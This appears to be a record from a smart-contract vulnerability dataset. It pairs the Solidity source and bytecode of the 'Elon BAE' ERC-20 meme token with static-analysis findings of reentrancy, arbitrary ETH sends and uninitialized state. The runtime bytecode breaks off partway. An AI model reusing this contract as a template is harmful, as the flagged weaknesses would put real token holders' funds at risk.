ffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561225057600080fd5b505afa158015612264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122889190612b9b565b816001815181106122c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061232930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fcc565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161238d959493929190613265565b600060405180830381600087803b1580156123a757600080fd5b505af11580156123bb573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156123f15760009050612453565b600082846123ff91906133b6565b905082848261240e9190613385565b1461244e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124459061318a565b60405180910390fd5b809150505b92915050565b600061249b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fb565b905092915050565b806124b1576124b061255e565b5b6124bc84848461258f565b806124ca576124c961275a565b5b50505050565b60008060006124dd61276c565b915091506124f4818361245990919063ffffffff16565b9250505090565b60008083118290612542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253991906130c8565b60405180910390fd5b50600083856125519190613385565b9050809150509392505050565b600060085414801561257257506000600954145b1561257c5761258d565b600060088190555060006009819055505b565b6000806000806000806125a1876127ce565b9550955095509550955095506125ff86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461288090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126e0816128de565b6126ea848361299b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612747919061324a565b60405180910390a3505050505050505050565b60026008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506127a2683635c9adc5dea0000060065461245990919063ffffffff16565b8210156127c157600654683635c9adc5dea000009350935050506127ca565b81819350935050505b9091565b60008060008060008060008060006127eb8a6008546009546129d5565b92509250925060006127fb6124d0565b9050600080600061280e8e878787612a6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f17565b905092915050565b600080828461288f919061332f565b9050838110156128d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cb9061314a565b60405180910390fd5b8091505092915050565b60006128e86124d0565b905060006128ff82846123de90919063ffffffff16565b905061295381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461288090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129b08260065461283690919063ffffffff16565b6006819055506129cb8160075461288090919063ffffffff16565b6007819055505050565b600080600080612a0160646129f3888a6123de90919063ffffffff16565b61245990919063ffffffff16565b90506000612a2b6064612a1d888b6123de90919063ffffffff16565b61245990919063ffffffff16565b90506000612a5482612a46858c61283690919063ffffffff16565b61283690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a8485896123de90919063ffffffff16565b90506000612a9b86896123de90919063ffffffff16565b90506000612ab287896123de90919063ffffffff16565b90506000612adb82612acd858761283690919063ffffffff16565b61283690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612b0381613863565b92915050565b600081519050612b1881613863565b92915050565b600081359050612b2d8161387a565b92915050565b600081519050612b428161387a565b92915050565b600081359050612b5781613891565b92915050565b600081519050612b6c81613891565b92915050565b600060208284031215612b8457600080fd5b6000612b9284828501612af4565b91505092915050565b600060208284031215612bad57600080fd5b6000612bbb84828501612b09565b91505092915050565b60008060408385031215612bd757600080fd5b6000612be585828601612af4565b9250506020612bf685828601612af4565b9150509250929050565b600080600060608486031215612c1557600080fd5b6000612c2386828701612af4565b9350506020612c3486828701612af4565b9250506040612c4586828701612b48565b9150509250925092565b60008060408385031215612c6257600080fd5b6000612c7085828601612af4565b9250506020612c8185828601612b48565b9150509250929050565b600060208284031215612c9d57600080fd5b6000612cab84828501612b1e565b91505092915050565b600060208284031215612cc657600080fd5b6000612cd484828501612b33565b91505092915050565b600060208284031215612cef57600080fd5b6000612cfd84828501612b48565b91505092915050565b600080600060608486031215612d1b57600080fd5b6000612d2986828701612b5d565b9350506020612d3a86828701612b5d565b9250506040612d4b86828701612b5d565b9150509250925092565b6000612d618383612d6d565b60208301905092915050565b612d7681613444565b82525050565b612d8581613444565b82525050565b6000612d96826132ea565b612da0818561330d565b9350612dab836132da565b8060005b83811015612ddc578151612dc38882612d55565b9750612dce83613300565b925050600181019050612daf565b5085935050505092915050565b612df281613456565b82525050565b612e0181613499565b82525050565b6000612e12826132f5565b612e1c818561331e565b9350612e2c8185602086016134ab565b612e3581613585565b840191505092915050565b6000612e4d60238361331e565b9150612e5882613596565b604082019050919050565b6000612e70602a8361331e565b9150612e7b826135e5565b604082019050919050565b6000612e9360228361331e565b9150612e9e82613634565b604082019050919050565b6000612eb6601b8361331e565b9150612ec182613683565b602082019050919050565b6000612ed9601d8361331e565b9150612ee4826136ac565b602082019050919050565b6000612efc60218361331e565b9150612f07826136d5565b604082019050919050565b6000612f1f60208361331e565b9150612f2a82613724565b602082019050919050565b6000612f4260298361331e565b9150612f4d8261374d565b604082019050919050565b6000612f6560258361331e565b9150612f708261379c565b604082019050919050565b6000612f8860248361331e565b9150612f93826137eb565b604082019050919050565b6000612fab60118361331e565b9150612fb68261383a565b602082019050919050565b612fca81613482565b82525050565b612fd98161348c565b82525050565b6000602082019050612ff46000830184612d7c565b92915050565b600060408201905061300f6000830185612d7c565b61301c6020830184612d7c565b9392505050565b60006040820190506130386000830185612d7c565b6130456020830184612fc1565b9392505050565b600060c0820190506130616000830189612d7c565b61306e6020830188612fc1565b61307b6040830187612df8565b6130886060830186612df8565b6130956080830185612d7c565b6130a260a0830184612fc1565b979650505050505050565b60006020820190506130c26000830184612de9565b92915050565b600060208201905081810360008301526130e28184612e07565b905092915050565b6000602082019050818103600083015261310381612e40565b9050919050565b6000602082019050818103600083015261312381612e63565b9050919050565b6000602082019050818103600083015261314381612e86565b9050919050565b6000602082019050818103600083015261316381612ea9565b9050919050565b6000602082019050818103600083015261318381612ecc565b9050919050565b600060208201905081810360008301526131a381612eef565b9050919050565b600060208201905081810360008301526131c381612f12565b9050919050565b600060208201905081810360008301526131e381612f35565b9050919050565b6000602082019050818103600083015261320381612f58565b9050919050565b6000602082019050818103600083015261322381612f7b565b9050919050565b6000602082019050818103600083015261324381612f9e565b9050919050565b600060208201905061325f6000830184612fc1565b92915050565b600060a08201905061327a6000830188612fc1565b6132876020830187612df8565b81810360408301526132998186612d8b565b90506132a86060830185612d7c565b6132b56080830184612fc1565b9695505050505050565b60006020820190506132d46000830184612fd0565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061333a82613482565b915061334583613482565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561337a57613379613527565b5b828201905092915050565b600061339082613482565b915061339b83613482565b9250826133ab576133aa613556565b5b828204905092915050565b60006133c182613482565b91506133cc83613482565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561340557613404613527565b5b828202905092915050565b600061341b82613482565b915061342683613482565b92508282101561343957613438613527565b5b828203905092915050565b600061344f82613462565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134a482613482565b9050919050565b60005b838110156134c95780820151818401526020810190506134ae565b838111156134d8576000848401525b50505050565b60006134e982613482565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561351c5761351b613527565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61386c81613444565b811461387757600080fd5b50565b61388381613456565b811461388e57600080fd5b50565b61389a81613482565b81146138a557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046a1577c8f554d4c4d4e2c1e78a1a243ced85b87e8fe878a49071d85dc40737664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,613 |
0xd4e491803f07ebf7e204ab7043788f78f47e3775
|
//SPDX-License-Identifier: UNLICENSED
//t.me/elonbae
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EBAE is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Elon BAE";
string public constant symbol = unicode"EBAE";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _maxBuyTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0xdead)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (5 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 100000000 * 10**9;
_maxBuyTokens = 200000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636755a4d0116101025780639e78fb4f11610095578063c9567bf911610064578063c9567bf914610566578063db92dbb61461057b578063dcb0e0ad14610590578063dd62ed3e146105b057600080fd5b80639e78fb4f146104fc578063a9059cbb14610511578063b2289c6214610531578063c3c8cd801461055157600080fd5b806373f54a11116100d157806373f54a111461046e5780638da5cb5b1461048e57806394b8d8f2146104ac57806395d89b41146104cc57600080fd5b80636755a4d01461040e5780636fc3eaec1461042457806370a0823114610439578063715018a61461045957600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038a57806345596e2e146103a057806349bd5a5e146103c0578063590f897e146103f857600080fd5b8063313ce567146102f457806331c2d8471461031b57806332d873d81461033b5780633bbac5791461035157600080fd5b806318160ddd116101b657806318160ddd146102845780631940d020146102a957806323b872dd146102bf57806327f3a72a146102df57600080fd5b806306fdde03146101e8578063095ea7b3146102325780630b78f9c01461026257600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021c60405180604001604052806008815260200167456c6f6e2042414560c01b81525081565b6040516102299190611681565b60405180910390f35b34801561023e57600080fd5b5061025261024d3660046116fb565b6105f6565b6040519015158152602001610229565b34801561026e57600080fd5b5061028261027d366004611727565b61060c565b005b34801561029057600080fd5b50678ac7230489e800005b604051908152602001610229565b3480156102b557600080fd5b5061029b600c5481565b3480156102cb57600080fd5b506102526102da366004611749565b6106a1565b3480156102eb57600080fd5b5061029b6106f5565b34801561030057600080fd5b50610309600981565b60405160ff9091168152602001610229565b34801561032757600080fd5b506102826103363660046117a0565b610705565b34801561034757600080fd5b5061029b600e5481565b34801561035d57600080fd5b5061025261036c366004611865565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039657600080fd5b5061029b60095481565b3480156103ac57600080fd5b506102826103bb366004611882565b610791565b3480156103cc57600080fd5b506008546103e0906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b34801561040457600080fd5b5061029b600a5481565b34801561041a57600080fd5b5061029b600d5481565b34801561043057600080fd5b50610282610857565b34801561044557600080fd5b5061029b610454366004611865565b610864565b34801561046557600080fd5b5061028261087f565b34801561047a57600080fd5b50610282610489366004611865565b6108f3565b34801561049a57600080fd5b506000546001600160a01b03166103e0565b3480156104b857600080fd5b50600f546102529062010000900460ff1681565b3480156104d857600080fd5b5061021c604051806040016040528060048152602001634542414560e01b81525081565b34801561050857600080fd5b50610282610961565b34801561051d57600080fd5b5061025261052c3660046116fb565b610b66565b34801561053d57600080fd5b506007546103e0906001600160a01b031681565b34801561055d57600080fd5b50610282610b73565b34801561057257600080fd5b50610282610b89565b34801561058757600080fd5b5061029b610d87565b34801561059c57600080fd5b506102826105ab3660046118a9565b610d9f565b3480156105bc57600080fd5b5061029b6105cb3660046118c6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610603338484610e1c565b50600192915050565b6000546001600160a01b0316331461063f5760405162461bcd60e51b8152600401610636906118ff565b60405180910390fd5b600954821080156106515750600a5481105b61065a57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106ae848484610f40565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106dd90849061194a565b90506106ea853383610e1c565b506001949350505050565b600061070030610864565b905090565b6007546001600160a01b0316336001600160a01b03161461072557600080fd5b60005b815181101561078d5760006005600084848151811061074957610749611961565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078581611977565b915050610728565b5050565b6000546001600160a01b031633146107bb5760405162461bcd60e51b8152600401610636906118ff565b6007546001600160a01b0316336001600160a01b0316146107db57600080fd5b6000811161081b5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610636565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476108618161131e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108a95760405162461bcd60e51b8152600401610636906118ff565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461091357600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161084c565b6000546001600160a01b0316331461098b5760405162461bcd60e51b8152600401610636906118ff565b600f5460ff16156109d85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610636565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a619190611992565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad29190611992565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b439190611992565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610603338484610f40565b6000610b7e30610864565b905061086181611358565b6000546001600160a01b03163314610bb35760405162461bcd60e51b8152600401610636906118ff565b600f5460ff1615610c005760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610636565b600654610c209030906001600160a01b0316678ac7230489e80000610e1c565b6006546001600160a01b031663f305d7194730610c3c81610864565b600080610c516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cde91906119af565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610d37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5b91906119dd565b50600f805460ff1916600117905542600e5567016345785d8a0000600c556702c68af0bb140000600d55565b600854600090610700906001600160a01b0316610864565b6000546001600160a01b03163314610dc95760405162461bcd60e51b8152600401610636906118ff565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161084c565b6001600160a01b038316610e7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610636565b6001600160a01b038216610edf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610636565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615610f6657600080fd5b6001600160a01b038316610fca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610636565b6001600160a01b03821661102c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610636565b6000811161108e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610636565b600080546001600160a01b038581169116148015906110bb57506000546001600160a01b03848116911614155b156112bf576008546001600160a01b0385811691161480156110eb57506006546001600160a01b03848116911614155b801561111057506001600160a01b03831660009081526004602052604090205460ff16155b156111b257600f5460ff166111675760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610636565b42600e5461012c61117891906119fa565b11156111ae57600d5482111561118d57600080fd5b600c5461119984610864565b6111a390846119fa565b11156111ae57600080fd5b5060015b600f54610100900460ff161580156111cc5750600f5460ff165b80156111e657506008546001600160a01b03858116911614155b156112bf5760006111f630610864565b905080156112a857600f5462010000900460ff161561127957600b546008546064919061122b906001600160a01b0316610864565b6112359190611a12565b61123f9190611a31565b81111561127957600b5460085460649190611262906001600160a01b0316610864565b61126c9190611a12565b6112769190611a31565b90505b6000611286600483611a31565b9050611292818361194a565b915061129d816114cc565b6112a682611358565b505b4780156112b8576112b84761131e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061130157506001600160a01b03841660009081526004602052604090205460ff165b1561130a575060005b61131785858584866114fc565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561078d573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139c5761139c611961565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114199190611992565b8160018151811061142c5761142c611961565b6001600160a01b0392831660209182029290920101526006546114529130911684610e1c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148b908590600090869030904290600401611a53565b600060405180830381600087803b1580156114a557600080fd5b505af11580156114b9573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600f805461ff00191661010017905580156114ee576114ee3061dead83610f40565b50600f805461ff0019169055565b6000611508838361151e565b905061151686868684611542565b505050505050565b600080831561153b578215611536575060095461153b565b50600a545b9392505050565b60008061154f848461161f565b6001600160a01b038816600090815260026020526040902054919350915061157890859061194a565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115a89083906119fa565b6001600160a01b0386166000908152600260205260409020556115ca81611653565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161160f91815260200190565b60405180910390a3505050505050565b60008080606461162f8587611a12565b6116399190611a31565b90506000611647828761194a565b96919550909350505050565b3060009081526002602052604090205461166e9082906119fa565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116ae57858101830151858201604001528201611692565b818111156116c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086157600080fd5b80356116f6816116d6565b919050565b6000806040838503121561170e57600080fd5b8235611719816116d6565b946020939093013593505050565b6000806040838503121561173a57600080fd5b50508035926020909101359150565b60008060006060848603121561175e57600080fd5b8335611769816116d6565b92506020840135611779816116d6565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b357600080fd5b823567ffffffffffffffff808211156117cb57600080fd5b818501915085601f8301126117df57600080fd5b8135818111156117f1576117f161178a565b8060051b604051601f19603f830116